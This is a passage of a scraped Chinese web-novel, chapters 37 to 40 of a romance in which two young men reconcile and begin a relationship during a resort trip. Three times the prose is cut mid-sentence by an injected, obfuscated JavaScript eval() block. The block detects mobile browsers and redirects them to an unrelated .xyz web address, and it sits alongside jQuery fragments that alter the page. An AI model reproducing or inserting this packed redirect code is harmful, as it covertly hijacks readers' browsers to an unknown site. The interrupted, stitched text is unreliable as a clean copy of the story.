闻影:“我遇到你那会儿,你刚离开家?”
晏关山:“嗯。”
闻影回忆了下问:“浑身家当就那两箱破烂?你就这么走的?”
晏关山失笑:“第一次离家出走,没有经验。”
车里开着空调就会闷,晏关山往后伸手掏了个小毯子出来扔在闻影身上,把车窗打开一条缝,让他捂着透透气,闻影把毯子捂到脖子那围了一圈,像个毛毛虫一样一动不动,看风景从窗外飞速略过,天色渐晚,夕阳柔柔和和镀了层光,直到消失在山那边。
两个人一只狗,安静平和,并不尴尬的沉默,原本他俩就是这样的状态的。
“晏关山。”闻影半张脸埋在小毯子里问,“你那会儿干嘛搭理我这个麻烦
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14582256|146837||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
啊?”
“是不想管的。”晏关山开玩笑道,“你威胁要死医院门口,听着害怕,还是管吧。”
闻影斜眼看他:“跟你说正经的。”
晏关山顿了顿,直言:“看你太惨,觉得可怜。”
他决定直言到底:“像条流浪狗。”
闻影:“……”
晏关山轻轻笑了下,特意转过脸来:“真这么想,你别生气。”
闻影摇摇头。
晏关山反思:“那会儿我什么都不会,带你回去倒是有点不负责任。”
洗衣机不会用,被套不会套,水电费都不知道上哪交的生活白痴一个。闻影揶揄:“我要真是条流浪狗,跟你回家得一起饿死。”
晏关山认同道:“还好有你。”
他是真这么想,只是听着像阴阳怪气,闻影又想捏他大腿:“得了吧,没我你不也过挺好的,师傅领进门,修行在个人,饺子包得也就……还行吧。”照顾得好自己,还会照顾别人。晏关山确实变了很多很多,合该浅浅夸他一下。
晏关山没接这夸,气透差不多了,他关上窗把空调又打开,然后才说:“生活技能不会可以学,但感情上的事我不擅长,还是把你伤着了。”
没听到闻影骂骂咧咧,晏关山知道这是默许他解释,他继续道:“我不知道那天怎么了,下意识地想避开,不是因为反感,我从来没想过跟你除了朋友之外,还能建立别的关系。 ”
怕闻影误会,晏关山赶紧补充:“在你之前,我也没喜欢过谁,分不清朋友和……恋人,感觉不一样。”
闻影不服气:“这也能分不清?”
“你又不是女生。”晏关山坦诚道。
闻影侧过一半身子:“怎么的,我是女的你就不打我了?”
“你是女生我不会让你进家门,一屋也没法住。”晏关山说,“那晚直接 120 送医院了,你请客我也不可能去,就没后面的事。”
闻影听完什么都没说,只是又转了回去,不给晏关山眼神。
他这戳一下蹦一句的,分明都没什么气了,就只是心结。
“闻影。”晏关山笑着说,“忘了说,我捡到的那只狗子,也叫毛毛。”
头破血流睡在医院门口的闻影,和毛毛处境一样,他会出手相助属实正常,但后面的事一发不可收拾,这野狗一样的男孩冲击着他清冷的生活,挤到任何角落,都像有太阳穿过缝隙照进来。
他喜欢这个男孩儿。
小名的巧合,无非让这份喜欢带了点天注定的意思。但不管景三是不是真名,他是混混还是工头,小名叫毛毛团团圆圆还是闹闹,前提都是喜欢而已。
“如果那天我把你追回来,不止想跟你道歉。”晏关山语速很慢,目视前方却字字清晰地说,“我会答应,做你的男朋友。”
闻影很轻地眨了下眼,偷偷侧过脸只瞥见晏关山发红的耳根。
晏关山:“不是因为愧疚我才这么说,你表白只不过点醒了我。”
“什么?”闻影喉头滚动,忍不住追问。
“习惯、依赖和不舍都是喜欢。”晏关山喉头滚动,抿了下唇说,“我动心的时间或许比你还要早。”
38.第 38 章
到农家乐时刚好是饭点,边屹和许寰在入口处指挥他们进场倒车,停好车一开门皮皮就“嗖”地窜出去。
“啊呀妈呀!”边屹吓得花容失色,转身就往旁人身上扑。
还好站在一边的是许寰,抱着他转了一圈挡在前面,笑着道:“你晏哥的好大儿,不会咬人,别怕。”
闻影也背着包跳下车,见这光景嗤笑一声:“又不是没见过,瞧你那怂样!皮皮,过来,和哥哥们打个招呼。”
皮皮听话地坐在闻影脚边,抬起一只腿薅空气,像 sayhello。
边屹从许寰身后冒个头出来,拍着胸脯:“我不怕狗的,但它长得太像狼了。咳,皮皮乖乖,摸摸?”
皮皮:“汪!”
边屹又缩回了许寰身后,闻影眼睛一眯,感觉他是故意的。
许寰递过来一张房卡道:“正准备烧烤呢,你们可以先回房间放东西,休息会儿再过来。对了,节假日房源紧张,你和关山住一屋。”
闻影偷看了一眼在后备箱拿包的晏关山,低声问:“为什么是我俩一屋?”
边屹笑眯眯解释:“你俩最后来嘛,况且我和许哥费费仨人挤一屋,不然你选,要不要和费费换?”
闻影看边屹那小鸟依人的样儿,感觉换不出什么好来。
“随便了。”闻影往后偏偏头,“房卡给他,我直接跟你们过去。”
晏关山提着包走过来,顺势摘了闻影单跨着的背包,拿走房卡,也不知道跟谁说:“忙一天人都馊了,我洗个澡再来。”
许寰:“不着急,烧烤不就是边吃边玩儿。”
闻影没管他们说什么,牵着皮皮径直往里走,边屹和许寰噔噔追上来,边屹拍了下他的肩:“怎么拉了个脸,你俩吵架啦?”
“跟他能吵起来?”闻影闷声反问。
“那怎么情绪不对劲啊。”边屹敏感,一眼就看出闻影心事重重,“出什么事儿了吗?”
“哎呀没有,什么都没有,你真啰嗦。”闻影不耐烦地把人往许寰那边一推,“粘别人去少烦我。”
边屹见他牵着狗走远了,还有点担心,许寰沉着一品说:“没事儿,反正住一屋,给他俩自己解决,我看着不像吵架。”
边屹:“怎么看出来的?”
许寰失笑:“他耳朵还红着,跟你似的。”
边屹:“……”
这个农家乐挺大的,背靠一座有野温泉的山,山下有个不小的鱼塘,烧烤棚就在鱼塘边,弄成露营的样式,连藏在面包车里的咖啡店都有。
有女生和边妈在,烧烤的事基本轮不到几个大男人,许寰的表妹许攸给调好了蘸碟,放到闻影面前:“闻影哥,关山哥哥能吃辣吗,我给他调一个。”
“他的少放点辣椒。”闻影看她一眼,和许寰长得有点像,他面无表情道,“谢谢。”
许攸浅浅笑了下,扭过头跟她哥说了句什么,边屹立马道:“那是,他们系系草呢,当然帅了。”
球球穿着个小围裙蹲在地上找零食,抬头说:“在我们中文系都如雷贯耳,尤其是闻影以前一头长发,很容易辨认。”
许寰叫他妹回位子坐好,别扒拉在他背上:“一会儿还来个大帅哥,以前我们高中的,还是个大学霸。”
边屹闻言好奇道:“你们一个高中的?”
“不止。”许寰问,“从小学到大学都是一个学校的。”
边屹睁大眼睛:“那可以算发小了呀,比我俩跟闻影处的时间还长。”
店家拎来烧好的炭,还要热一会儿,许寰叫大家先去洗手,他看着包,人都走光,闻影和皮皮没动。
“许哥。”闻影难得主动开口,问道,“你和晏关山认识这么久,他上学那会儿,怎么样?”
这问得没头没尾的,把许寰问懵了:“哪方面?感情的话他从来没早恋过,学习的话他是我们那届的状元。”就差把优秀纯爱刻脑门上。
闻影言简意赅:“家里,朋友。”
许寰倏然就懂了:“他跟你说了?”
闻影:“说了一点。”
许寰歪着头回忆:“别看我和晏关山好像认识挺久,其实也就是大学的时候才熟起来,我记得小学那阵,就因为一起打篮球的事,被他妈约谈过,一个班的小男生都吓够呛,然后就没敢再跟他玩儿了。他妈不止不让我们和他玩,同学家长、老师、校领导都被约谈了个遍,听我爸说,他妈特强势,说话很不客气,对儿子要求很严,总之老晏一直挺孤僻,没什么朋友。”
闻影讶异:“初中高中也这样?”
许寰点点头:“管得更严,上下学都有人专门接送,时间久了他性格也就更冷了。”
说到这许寰笑出声:“我是被他妈威胁得最多的,甚至还找到我家里,说我带坏他儿子,但我和我爸都拧,越不让我干什么我越干什么,我路过他们班,总看他一个人坐在座位上刷题,老叫他吃饭打球的,十次能去一次吧,不过他也不怎么跟我说话。”
到了高中毕业,晏关山改了志愿,然后离家出走,之后才慢慢和许寰熟络起来。许寰性格特别好,乐乐呵呵的,是个靠谱贴心的人,许寰又了解晏关山的过去,能变成好朋友是必然。
许寰道:“其实要说他改变,是遇见你之后,他找了你很久,因为一直不知道你真名,拿着景三的信息跑遍了玉城几乎所有的建筑工地,我也在学校里帮他问,不过他一直没细说你俩是为着什么事分开的。”
“其实没什么大不了的事。”闻影捏着皮皮的狗绳一会儿搓个造型,说,“我对他有些误会,一气之下就跑了。”
许寰笑了笑:“误会说开了就好,那你俩现在……是什么关系?”
闻影又使劲儿搓搓狗绳,说:“……我也不知道。”
大家洗完手回来,抬了好几件啤酒,女生买了许多饮料和零食,边烤边玩,边屹和许攸揽下了烧烤的活儿,其他几个人就现场开了一局游戏打着。闻影玩得心不在焉,时不时扭头看一眼,盘子里的东西凉了都没吃。
许攸扯扯她哥的袖子:“关山哥哥干嘛去了,怎么还不来?”
许寰盯着屏幕打得很认真,随口道:“你急什么,急着看帅哥啊?”
“不是我急。”许攸小声道,“他不来,闻影哥都不吃东西。”
许寰轻轻笑了下,用手肘拐了拐边屹:“听见没,他俩没吵,这不还一个盼着一个呢。”
闻影没听见他们在蛐蛐自己,思绪乱飞地打了两盘游戏,皮皮把头垫在他腿上安安静静趴着,忽然哼了一声。
闻影摸摸它:“别急,你爹掉坑里了,打完这盘我去捞他。”
“捞谁?”
鼻息飘过一股清新的沐浴露香味,很淡很淡,却诡异地盖过了浓郁的烧烤味,闻影吸了吸鼻子,眼皮都没抬,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14600893|146837||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
眼睫颤了颤胡乱应道:“不捞谁,它问它爹去哪了,我说你得画个大妆再来,磨蹭那么久,赶紧吃吧。”
闻影把手边那盘才烧好还热乎的推过去,晏关山又推过来,换了一盘凉的:“我吃这个。”
“吃这个。”闻影把盘子抢走。
边屹偷摸在旁看了半天,忍不住“啧”了一声:“来来来我回个锅,都吃热的行了吧?”
闻影:“……”
许寰在一边闷笑,帮着边屹回收掉那盘冷了的肉,给二人都放上热乎的,边屹和他交头接耳,聊高兴了又抬头看闻影一眼,撇撇嘴,脑门上就写着“我俩在蛐蛐你”。
闻影恼羞成怒起来是不分青红皂白怼人的,他看许寰笑得那叫一个意味深长,便问他:“笑什么笑!”
许寰一噎,边屹挺直腰背:“欸欸欸,别凶人,是你俩自己在那小学鸡互啄,怪得着别人么。”
闻影抱臂嗤笑:“我平时凶你怎么不见你吱声,现在还会护短了?”
边屹眼神乱飞,倒上啤酒重重拍给闻影:“赶紧喝吧哥,这还堵不上你的嘴。”
许攸见到她哥一直铺垫的大帅哥来了,果然是名不虚传,比她想象中的还好看,关键是有气质,坐下也安安静静的,男人只要少说话,就去了百分之八十的油腻。
许攸犯起花痴,和晏关山喝了杯酒后问道:“关山哥哥,你知不知道我哥他有没有女朋友啊?年年过年家里人都问,也不见他带回去一个。”
边屹警觉地竖起耳朵,许寰看了他妹一眼,无奈地叹了口气。
晏关山失笑:“据我所知应该是没有。”
许攸眨巴着漂亮的眼睛:“那你有没有女朋友呀?”
闻影:“……”
好一招声东击西。
许寰用筷子背敲了下许攸的脑门:“你这小姑娘,矜持点儿,帅哥是给你看的不是让你八卦的。”
许攸理直气壮道:“都什么年代了,帅哥看一个少一个啊,不得先问清楚有没有主才好下手么,现在女追男又不是丢人的事,我姐们儿多勇你还不清楚?”
晏关山想起玉大小花园里的毛茸茸,确实都挺勇敢的,先问再追也没毛病。
他道:“我没女朋友。”
许攸睁大眼睛:“真的啊?”
晏关山拿起酒杯碰了下闻影摆着的那杯酒,慢悠悠说:“嗯,我是gay。”
许攸一愣。
闻影却被一块蘸满辣椒的五花肉呛住,咳得惊天动地,晏关山替他拍着背,手里的酒被人一把薅走灌下。
晏关山一顿:“……那是我的杯子。”
闻影咳得满脸通红,终于顺过气了,才赖皮道:“你的杯子精贵?我不能用?”
“能。”晏关山顺着闻影的后背说,“你不嫌弃随便用。”
闻影偏过头:“学人精。”
许攸的眼睛在二人之间来回转,敏锐察觉到那游离在两人间的暧昧小火花,她恍然大悟地接话:“哦!我懂了,那关山哥哥有男朋友了吗?”
晏关山想了想:“在追,目前进度堪忧。”
许攸看着闻影逐渐变红的耳根,会心一笑:“那你加油!我掐指一算,你马上就要脱单了。”
闻影埋头倒酒,刚倒好被晏关山抢到了手里。
晏关山喜笑颜开,拿起闻影的酒杯和许攸碰了碰:“借表妹吉言,我先干为敬。”
39.第 39 章
吃吃玩玩到十点多,只有两个没怎么喝酒的姑娘去泡了温泉,大男人接着喝酒扯淡,快十二点时闻影看了眼时间:“我回了。”
“欸,跑什么啊,喝不动啦?”费彦大着舌头拉住他。
闻影提溜着他的耳朵把他扯开:“忙一天真累了,你们继续。”
“你忙什么,人家晏哥都没说话呢。”费彦把酒杯抬起来,“喝完再走,别养鱼。”
晏关山顺手接过,仰头一口闷掉:“我也回了,你们玩。”
闻影一言不发地站起来,牵着皮皮就走,走了几步发现某人没跟上来,他原地一顿,掏出烟点上。
抽了半根晏关山才跟来,见他抽一半掐掉的烟,问道:“心情不好?”
“没有。”闻影偏过头,“你又磨蹭什么?”
晏关山把手里的塑料袋提起来:“刚才给皮皮烤了些肉,忘拿了。”
两个人并肩往前走,闻影晃晃狗绳:“不在家睡,它会不会不习惯啊。”
晏关山:“我带皮皮去过很多地方,它很乖的,人睡了它也睡,不会不习惯,只要别把它扔外面就行。”
回屋闻影先钻进卫生间洗澡,晏关山安顿好皮皮,狗子果然一秒入睡,一大坨团在门口,安全感十足。
闻影今天洗得尤其慢,他不是墨迹,单纯不知道一会儿出去和晏关山大眼瞪小眼,怎么独处。往事历历在目,甜蜜多过被对方一拳打跑的心碎,是多太多,闻影一直不愿意承认,其实离开晏关山不是因为不喜欢他了,是以为他不接受自己。
愤怒跑开的情绪中百分之九十九的成分是自卑,剩下百分之一是丢脸。
而晏关山在车里跟他说的话,把他所有愤怒的理由都击得粉碎,闻影没有道理再拒人于千里之外。
况且,他好像根本拒得一点都不诚心。
关上水龙头,闻影任身上的水滴滴答答流了半天,才胡乱擦了推开门。
晏关山穿着宽松的睡衣短裤,盘腿坐在床边打游戏,他头发短,洗完之后自然垂落在额头,看着又乖又比实际年龄小很多,像大一那会儿的他,唯一区别是,现在的他表情终于多了起来,爱笑了。
听见水声消失,晏关山抬起头,瞟了闻影一眼后喊他:“能不能帮我打打野?我不太会。”
闻影的尴尬一瞬间消失,臭着脸冲他走去:“不会干嘛选这路,上路不够你发挥了?”
晏关山亮出手机屏幕:“都被选了,我只好打野。”
手机被闻影一把抢走,他挤着晏关山在一旁坐下,单腿翘起来,说不出的吊儿郎当,看语音开着,闻影直接开喷:“趁你爹不在挤兑人是吧?说,哪个逼萌新打野的?”
刚还嘻嘻哈哈的语音里顿时鸦雀无声。
闻影催促:“请打开麦克风交流。”
“我我我。”还是费彦皮厚,他主动承认,“我上单好支援球球中路,下路那不是边妈要粘着许哥么,只能让晏哥打野了。”
边屹的头像闪了闪:“你血口喷人!”
闻影嗤笑一声,看着晏关山 0-3-0 的战绩,还有空空如也的自家野区,他头也不回地去了上路,土匪一样的把兵线塔皮都炫了。
费彦看着这个孤儿赵信敢怒不敢言,只好站在一边舔经验,苟了几分钟,闻影带着他去抢了先锋,返回上路杀人推塔。
虽然人头都被赵信心狠手辣地收下了,起码局面有了转机。
晏关山只看了一阵,转身回卫生间找东西,再出来时拿了个吹风,他插上电源,站到闻影面前。
闻影感觉面前有人戳着,抬头时看见吹风还有点呆:“干嘛?”
晏关山:“给你吹头。”
“不要!”闻影又低下头去。
“你头发长,不吹容易感冒。”晏关山不容置喙,“你接着打游戏,我吹我的,一会儿就好。”
耳边骤然就“嗡”起来,晏关山一只手轻柔地捋着闻影的头发,一只手握着吹风,手指穿过头发,轻轻摩挲在头皮上的感觉很舒服,闻影刚开始起了不自在的鸡皮疙瘩,还好游戏里战况焦灼分散了注意力,适应了他觉得颇为享受。
一波团战结束,队友才有功夫说话。
费彦:“什么声儿啊吵得很,三儿你干嘛呢?”
边屹:“刚听他说什么吹不吹,要不要的。”
费彦:“……卧槽?注意素质。”
球球也不正经:“听动静是吹头发吧。”
球球那边还有许攸的笑声:“动静那么大只能是吹头发。”
闻影震惊于现在的女孩子都很生猛,在心里骂了一堆脏话,解释道:“老子吹头发。”
边屹:“你打游戏还有空吹头呢?”
晏关山大声道:“我在给他吹,不影响。”
闻影:“…………”
语音里此起彼伏一些意味不明的笑声,闻影对于男人堆里偶尔为之的小黄腔应该是见怪不怪了,但今天不知道为什么,他代入感很强,所以脸又烧起来。
一把游戏很快结束,闻影连招呼都没打直接关了,手机递给晏关山时,他刚好关掉吹风。不关还好,关了之后嗡鸣骤然消失,显得屋子里更是静得可怕。
闻影没有吹头的习惯,这突然被人伺候一次,整个脑壳都暖烘烘的,顶着一头怎么吹都软软的头发,人像躺在棉花里一样舒服。
晏关山去包里翻出一件衣服递过来:“你衣服都湿了,换这件吧,干净的。”
闻影看了眼,干巴巴道:“大。”
晏关山:“穿着睡觉,大了才舒服。”
闻影想想也是,单手潇洒地一薅就把衣服给脱了,晏关山站在他身后,目光难以控制地落在劲瘦白皙的后背上,闻影腰细,但身上该有的肌肉都有,线条很好看,晏关山赶紧错开眼睛。
把吹风放好再回来,闻影已经把衣服穿好了,晏关山看他坐在床边发愣,关掉了大灯,把床头灯打开。
他问:“睡吗?”
对方却看着别处喊他:“晏关山。”
“嗯。”
“车上话还没说完。”
“嗯。”
“你嗯你……个头。”闻影转过脸直视他,昏暗灯光下,晏关山只觉得那对他朝思暮想的眼睛难得的温柔。
晏关山静了静,忽然朝前蹲下,双手交错趴在闻影膝盖上:“你让我闭嘴,我不敢说了,现在准我说了?”
“准。”闻影双手往后撑着床,垂眸看去,没过一秒,受不了晏关山那穿靴子猫一样的眼神,他又别开脸,“有屁快放。”
“对不起。”晏关山温声道,“第一句。”
六年前那两句没说出口的话,其实没多复杂,简单直接,都是晏关山最真实的想法。
“第二句。”晏关山晃晃他的双腿,带了点委屈恳求的意思,“求你别再走了。”
闻影眼睫轻颤,胸口似被滚荡的热汤灌满,又疼又汹涌,他只需要“别走”两个字,就会飞也似地奔回对方身边。
可当年没有听见,他当年没有给对面这个人一点点辩驳的机会。
他问自己,为什么不能多等一天呢?
被强行锁在记忆深处的一幕幕又浮现在眼前,只要他想,连花香和蛋糕的甜儿都还在鼻息间游荡。
闻影记得那天是个再平常不过的星期五,他难得去了趟学校,把会考考了。成绩合格就能拿到高中毕业证,对他这个艺术生来说,接下来的一年半都只需要专注艺考。
正因为了了一桩事,闻影决定干票大的,他要在艺考集训来临之前,把缠在心里大半年扑通扑通没个着落的心事给落听,他想谈恋爱了。
那天晏关山一天的课,晚上要去宠物医院值班,闻影趁他不在家,买了鲜花蛋糕,带上自己亲手画的一幅画,去布置小租屋。
表白流程是上网搜来的,要素蛮多,鲜花蜡
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14629376|146837||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
烛气球彩带,可以摆出五花八门的造型,突出一个只要我不尴尬尴尬的就是别人的甜蜜氛围。闻影搜完两眼一黑,太矫情,不适合他这个粗枝大叶的男人,而且他是跟男人表白,对方看见爱心蜡烛和玫瑰花海时未必会感动,保不齐还当场发火。
前一秒刚决定摒弃啰嗦的过场直接进入正题的闻影,下一秒就去了花店,顺路买了个漂亮的蛋糕,在晏关山下班之前,闻影做了一桌子菜,掐着点去宠物医院接他。
一切按照计划进行,晏关山和他一起回到家,推开门就被满屋子的向日葵深深震撼到了,正因为是向日葵,晏关山半点没往歪处想,只问他:“你买这么多花干什么?”
闻影想等着吃了饭再表白,答:“有事儿要跟你商量。”
晏关山一愣:“什么事?”
什么事也得吃了饭才肯说,能买花的事肯定是喜事,所以晏关山也就没急着打听。两个人如往常一样在电视机前吃了一顿闻影亲手做的普普通通的家常菜,吃完晏关山抬碗要去洗,闻影就把他堵在了沙发上。
没有多余的开场白,当头就是“晏关山,我喜欢你”,这记直球把晏关山打懵了,坐那儿半晌不吱声。
看他这个怀疑人生的样子,闻影忽然觉得有点鲁莽,后知后觉地补问他是不是 gay,晏关山沉默。
能不能接受跟男的好,晏关山还是沉默。
按闻影的理解,沉默就算不是默认,那也至少是不反感。所以他乘胜追击道:“不是要你现在就决定,就是告你一声,我喜欢你,在追你,等你能接受跟男的好,考虑考虑我?”
从头到尾,晏关山都是懵的,他从听见第一句话时就在怀疑,这个吊儿郎当没个正形儿的景三又在拿他开玩笑逗闷子,可越说越认真,肉眼可见对方的脸都憋红了,呼吸也急促起来,分明就很紧张,晏关山才信了他确实是在表白。
晏关山呆了许久,磕磕巴巴地问他:“你为什么……会喜欢……”
“我也不知道。”闻影那会儿头发还很短,他抓了好几次头皮才道,“就是喜欢,想对你好,想跟你住一块儿。”
晏关山一顿:“……不是住在一起吗?”
闻影涨红了脸:“那能一样吗!我不止要住一起,还想……”
在他难得卡壳的档口,不知哪儿冒出来的一股胆气,促使闻影以迅雷不及掩耳之势俯身过去,在还处于呆滞状态的晏关山脸颊上轻轻地落下了一个吻。
闻影本不认为一个只落在脸上的亲吻,会造成多大的影响。
他是被晏关山当流浪狗捡回家的,浑身伤病时,晏关山替他擦药帮他洗澡,后来他总赖在晏关山的小租屋里,给人做饭教他生活常识,他们同吃同住了半年,虽不是天天如此,但要说亲密程度,怕是胜过很多确认了关系的恋人。
在这个前提下,闻影自信地以为,表白会事半功倍,因为晏关山对自己的依赖和纵容,他感受得真切,情感博主不也说么,好感是相互的,那喜欢也是!
而接下来发生的事,让闻影始料未及,在那个脸颊吻后晏关山许久才回过神,忽然一掌把和自己咫尺近的闻影推得一个踉跄,闻影重心不稳,伸手乱薅时抓了他的肩膀,谁料晏关山反应更剧烈,一拳打过来,没控制住方向,打在了闻影的脸上。
闻影应该是骂了句脏话,也可能没骂,反正从小租屋里出来时他唯一带走的就是要送给晏关山的那幅画。
气得他脑袋嗡嗡直响,用一百米冲刺的速度跑离了小区范围,跑到气喘吁吁,愤怒都变成汗水流差不多时,脸上的疼痛混着伤心席卷而来。
他坐在老太太跳广场舞的小花园里,找了个背街的角落,抱着自己画的那副晏关山,吧嗒吧嗒地掉了很久的眼泪。
还没来得及说的话有一卡车,包括和自己有关的真相,以及出柜的心路历程,这些只能跟晏关山一个人分享的东西,连同他期待的恋爱,无疾而终了。
40.第 40 章
十六岁的感情是冲动且盲目的,完全以自我体验为中心,受了挫,便会恼羞成怒地怪罪全世界,闻影第一次喜欢一个人,付诸于行动时只想要即刻拥有,与那些百折不挠追逐的勇士不同的是,内心的自卑使他怯懦了,被打回原形只想躲起来。
该为自己的不成熟道歉的是闻影。
过了很久,见闻影出神出得迷瞪,晏关山用手背碰了下对方的脸:“你今天在车上就不吭声了,到农家乐兴致也不高,是不是想到过去的事还生气?”
闻影回过神,用膝盖顶了顶晏关山手说:“你先起来。”
“我不。”晏关山可怜巴巴地说,“凶我几句都比不说话强。”
“不凶你。”闻影拍拍身边的位置,“坐这儿。”
床垫陷下去,闻影不受控地往身侧一歪,轻轻挨着晏关山,对方身上淡淡的沐浴露香飘过鼻息,让闻影从不好的记忆里抽离出来后,缓缓落在这安乐的气氛中,他觉得踏实。
闻影低着头说:“我不生气了,不怪你。”
“可算哄好了。”晏关山舒了一口气,声调带着笑,“那咱俩可以做朋友了?还像以前那样。”
闻影抬起头和他四目相对,晏关山整个眼睛里都是他,闻影看见自己呆滞的表情,笑起来。
晏关山说:“六年时间,你我都有变化,你先看看我,觉得也就还行,再点头。”
这和闻影想象的不一样,刚遇到那阵急着要“你答应我”的难道不是晏关山吗?
闻影懵懂地问:“看你什么?”
“看我够不够格做你男朋友。”
晏关山轻声慢调地说,耐耐心心的,像个大哥哥:“我没谈过恋爱,也没追过谁,不是太懂恋人之间的浪漫,生活里也是个无趣的人,如果我俩因一时冲动在一起了,过起日子却不是你想的那样,我怕你会失望和后悔。”
闻影挑一边眉看他:“前阵儿你不挺自信?”
晏关山抿着唇有些不好意思:“那不是为了表明态度么,万一你真当我只是来道歉的,道完就给我打发了。”
“嗯。”闻影故意拿乔,“是得谨慎点,再看看,那就看吧。”
他们自然垂下的双手挨在一起,手背贴着手背,晏关山动了动手,和闻影缓慢地十指相扣。
闻影明白对方要自己“再看看”的用意。他俩是还年轻,但已不是十六七岁不管不顾的年纪,步入社会后人都在成长变化,对于当下和未来,事业学业外还有家庭,对于二人来说,家庭一词百废待兴,晏关山是要珍而重之地邀请闻影进入他的生活。
恋爱的起点可以是见色起意,怦然心动,可以是很多美好的原因,晏关山想的是它的落点,要稳稳地落在两个人舒适自洽的生活氛围中,变成一种长长久久的陪伴,而不是终点。
这份郑重撩拨到了闻影的心,他抬头侧过脸,离晏关山咫尺之间,努了努嘴说:“脱敏测试,晏关山。”
晏关山只怔了一下,轻笑着闭眼,轻轻地吻了上去。
柔软触感让晏关山呼吸一滞,亲吻落在额头和脸颊带着克制的宠,可落在嘴唇上,就是纯粹直白的亲密。他当然知道下一步该怎么办,睁眼偷看对方,闻影的长睫扑簌扑簌抖个不停,这小子并没有外表那般淡定。
晏关山还是停下了,他松开闻影,歪着头等对方睁眼。
亲都亲了,闻影只睁开一条缝,垂眸说:“测完了,算你通过。”
晏关山抿唇不语。
“行了,睡吧。”闻影说。
他红着脸转身想跑,被晏关山一把拽住,摁进怀里,晏关山哭笑不得:“每次都是亲完就跑,我有毛病你有毛病?”
闻影正在不好意思,说不出话,两手随意搭在腿上,左手抠右手右手抠左手。
“刚测得不准确。”晏关山一只手担住闻影的下巴,拇指指腹擦过对方嘴角,他说,“再测测,你别跑。”
于是晏关山撬开了对方牙关,闭上眼,温柔又绵长地探索,交缠,他轻轻扶着对方的腰和肩,把人拢在自己怀里,不松不紧,亲密却克制,并没有多余的动作,仅仅是抱着,即便是唇齿交缠他也温柔平静,反倒让这带了点情/欲意味的举动变得纯情了许多。
被温柔对待的闻影在对方怀里放松下来,他从来没有和谁接过吻,就算肖想过晏关山,那也只局限于不真实的画面,而此时此刻,触感却奇妙而具体,亲吻有一种魔力,闻影沉浸其中,身心轻盈柔软,脑子都空了。
脑子一空,身体就不受控,酥麻长驱直下让闻影起了变化,他难为情地抓了下晏关山的衣服下摆,对方像是轻轻笑了声,难舍难分地松开。
“差不多得了晏关山。”闻影整个脸都是通红的,他恼羞成怒地说,“你丫得寸进尺。”
晏关山和他脑门抵着脑门,小喘着坦言:“再亲下去我不知道会干出什么事。”
闻影:“……”
你现在也干的不少。
晏关山声音有些哑:“我通过测试了吗?”
“先上车再补票的事儿都做了,还问这个?”闻影弯下腰,提醒他,“你还没转正呢。”
晏关山用膝盖磕了磕闻影的腿,轻轻笑了一声。
“笑个屁啊。”闻影也躲不开,支棱得这么明显已无躲的必要,他摆烂道,“老子身体健康,起反应很正常!”
晏关山笑意未减:“那要我帮你吗?”
帮……
画面冲进脑壳,闻影瞬间羞得爆炸。
“滚!”他恼羞成怒地推开晏关山的头,转身就跑,“你管好你自己的吧。”
“嘣”一声关上卫生间的门,闻影一把扭开水龙头,羞耻又漫长地洗了今天第二次澡。
……
农家玩计划玩两天,因为还在节假,都是睡懒觉约着午饭再见。晏关山没有睡懒觉的习惯,一大早就带着皮皮出门遛弯去了,闻影迷糊中听见关门声,醒过来一看旁边床是空的,立马给晏关山发微信。
[景三]:人呢?
[Y]:遛皮皮,你怎么就醒了?
知道他去了哪,闻影就没回,他梦做到一半,眼睛一闭又睡过去了。
晏关山回来的时候他都还没醒,维持着捏手机的姿势,睡得四仰八叉的,晏关山洗干净手,把他露在外面的一只脚塞回被窝。
被冰凉的手一碰到,闻影倏然睁开眼,见晏关山回来了,闻影在被窝里搓了搓被碰到的那一小节脚腕,闷不吭声地瞪过去。
起床气不小,没骂人,说明还在害羞。
晏关山把早餐放在床头柜上:“还睡吗?”
“起。”闻影裹着被子坐起来,一头乱七八糟的头发让他看着有点呆。
“吃点早点。”晏关山问,“然后泡温泉?”
“泡。”闻影迷糊着回。
半山都是温泉,早上雾气浓重,热气混着雾霭有点仙气缥缈的意思,景致是好的,闻影想着泡个温泉也挺解乏,很快洗漱完吃早点,换上泳裤就跟着晏关山去找温泉去了。
热水漫过胸口,闻影四肢都放松开来,皮皮趴在温泉边守着衣服,不吵不闹乖得要命,闻影怜爱地看了会儿它,眼神忽然一凛。
这家伙昨晚是不是把什么都看完看尽了!
闻影僵硬地转过又烧起来的脸,晏关山掀起眼皮:“太烫就起来,别一直泡,你脸怎么又红了?”
“你好意思问!”闻影龇牙,“皮皮!”
晏关山看了眼狗子,莫名道:“皮皮怎么了?”
闻影黑脸说:“昨晚它都看见了。”
